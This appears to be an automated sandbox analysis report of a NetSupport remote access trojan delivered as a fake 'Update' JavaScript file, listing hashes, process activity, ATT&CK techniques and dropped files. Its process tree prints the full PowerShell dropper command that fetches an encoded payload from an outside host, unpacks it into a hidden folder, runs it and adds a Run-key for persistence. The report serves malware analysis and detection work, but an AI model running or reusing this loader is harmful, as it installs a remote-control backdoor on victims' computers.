netsupport | 279d3eb32b819921d4315d250afed96adf8df910a5f95e4378410df9b3188fcf

Analysis

max time kernel
1159s
max time network
1198s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
01-03-2024 19:57

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General

Target

Update_161_121.0.616.js
Size

436KB
MD5

b78306686a601cf2e9546e7334199329
SHA1

0be158e31cbca00324d325bd4c0b706e8c9b879b
SHA256

279d3eb32b819921d4315d250afed96adf8df910a5f95e4378410df9b3188fcf
SHA512

19c4969cd16847698cbf334253543e5e8e714a41b7febe282118dd8ba9de3b9f683fea9450203b6be70801af75180c5bab925aef79b569874ed2f3e7a7248ab2
SSDEEP

12288:QnviA7OpTRtRtFAbD8nviA7OpTRtRtFAbD8G:QKbpTRtRt6PbpTRtRt6V

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://aljannatquranteach.com/data.php?7046

exe.dropper

https://aljannatquranteach.com/data.php?7046

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2816	wscript.exe
3	4648	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3128	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
3128	client32.exe
3128	client32.exe
3128	client32.exe
3128	client32.exe
3128	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1101742937-4171729779-750941522-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICEC = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-7\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4648	powershell.exe
4648	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeSecurityPrivilege	3128	client32.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3128	client32.exe
3128	client32.exe
3128	client32.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3128	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 4648	2816	wscript.exe	81
PID 2816 wrote to memory of 4648	2816	wscript.exe	81
PID 4648 wrote to memory of 3128	4648	powershell.exe	83
PID 4648 wrote to memory of 3128	4648	powershell.exe	83
PID 4648 wrote to memory of 3128	4648	powershell.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_161_121.0.616.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $iJQNFkzDPyTfG='https://aljannatquranteach.com/data.php?7046';$xpPprDojrOeJBtWdDEKoejWwRY=(New-Object System.Net.WebClient).DownloadString($iJQNFkzDPyTfG);$cshmXVmwfuQVuGjqafxDcoeuHZR=[System.Convert]::FromBase64String($xpPprDojrOeJBtWdDEKoejWwRY);$zxc = Get-Random -Minimum -10 -Maximum 37; $ZGuYvPUcULuzQYcWTeTPddJrBy=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $ZGuYvPUcULuzQYcWTeTPddJrBy -PathType Container)) { New-Item -Path $ZGuYvPUcULuzQYcWTeTPddJrBy -ItemType Directory };$p=Join-Path $ZGuYvPUcULuzQYcWTeTPddJrBy 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$cshmXVmwfuQVuGjqafxDcoeuHZR);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$ZGuYvPUcULuzQYcWTeTPddJrBy)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $ZGuYvPUcULuzQYcWTeTPddJrBy 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $ZGuYvPUcULuzQYcWTeTPddJrBy -Force; $AZ.attributes='Hidden';$s=$ZGuYvPUcULuzQYcWTeTPddJrBy+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Users\Admin\AppData\Roaming\DIVX-7\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-7\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jd2qqpjf.f3w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\MSVCR100.dll

Filesize
64KB

MD5
7106ec5348dc53971f8a40fb42b9f422

SHA1
16585b4fac1513946041aa318366ec0576daecc6

SHA256
ce02f2e55781759c4067827fb6ff21f1cc779571bb6a7b85ca07b6beafa186bd

SHA512
8e102c3999b38d7982e96dbfa150eab787a16d39cd5304997319daa793a4318ec25d58428c809ecdeac1687dee64131814910a5a97ec43305f8fc642c602d406

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\PCICL32.DLL

Filesize
627KB

MD5
11cce5494a179e29a5bfdad1c6614296

SHA1
5def946b06fbb3d5fa0aa89878e25e1fe01e4a5b

SHA256
05ee92878c054f85ad7b5434b6aa62120a83087738eeee161d8f9e8c765d29b7

SHA512
7bbd3a980661a79c4ce98d6229a04dc370a9d7a2f7347eb4caae5c700907f19f6cb72ff07da8dc60a141b16fea920e7b30c047929f9f7b3f1476637598929522

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\PCICL32.dll

Filesize
1.1MB

MD5
bd8f2ff85e1c63f171bd3bf835480017

SHA1
1aeb546fc242ef63f1f03f6fa59bac6ad6d5dc05

SHA256
474b113b1f862726fe8a43ae6bc31fbddfdb4bfd94fbe1590f85b6220e191bf5

SHA512
ffbb679d8db499357c9c2c6922e7193021f64a0846ac6eb3e601b5c0a88f4434f91f9c83c6a8299c5d0be4b9f18e3b53036ebe0979fbf6d99decdda13e2d4bd0

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\client32.ini

Filesize
701B

MD5
98043670d8c850e878e333312fcfa25a

SHA1
dc795e8b906d70ee5854a6797e0c1557375bc443

SHA256
0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

SHA512
13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-7\remcmdstub.exe

Filesize
62KB

MD5
6fca49b85aa38ee016e39e14b9f9d6d9

SHA1
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b

SHA256
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

SHA512
f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622

Download Submit
memory/4648-14-0x0000026B523A0000-0x0000026B523B2000-memory.dmp

Filesize
72KB

Download
memory/4648-13-0x0000026B52210000-0x0000026B5221A000-memory.dmp

Filesize
40KB

Download
memory/4648-11-0x0000026B52220000-0x0000026B52230000-memory.dmp

Filesize
64KB

Download
memory/4648-10-0x0000026B52220000-0x0000026B52230000-memory.dmp

Filesize
64KB

Download
memory/4648-86-0x00007FFC22D80000-0x00007FFC23842000-memory.dmp

Filesize
10.8MB

Download
memory/4648-9-0x00007FFC22D80000-0x00007FFC23842000-memory.dmp

Filesize
10.8MB

Download
memory/4648-5-0x0000026B52170000-0x0000026B52192000-memory.dmp

Filesize
136KB

Download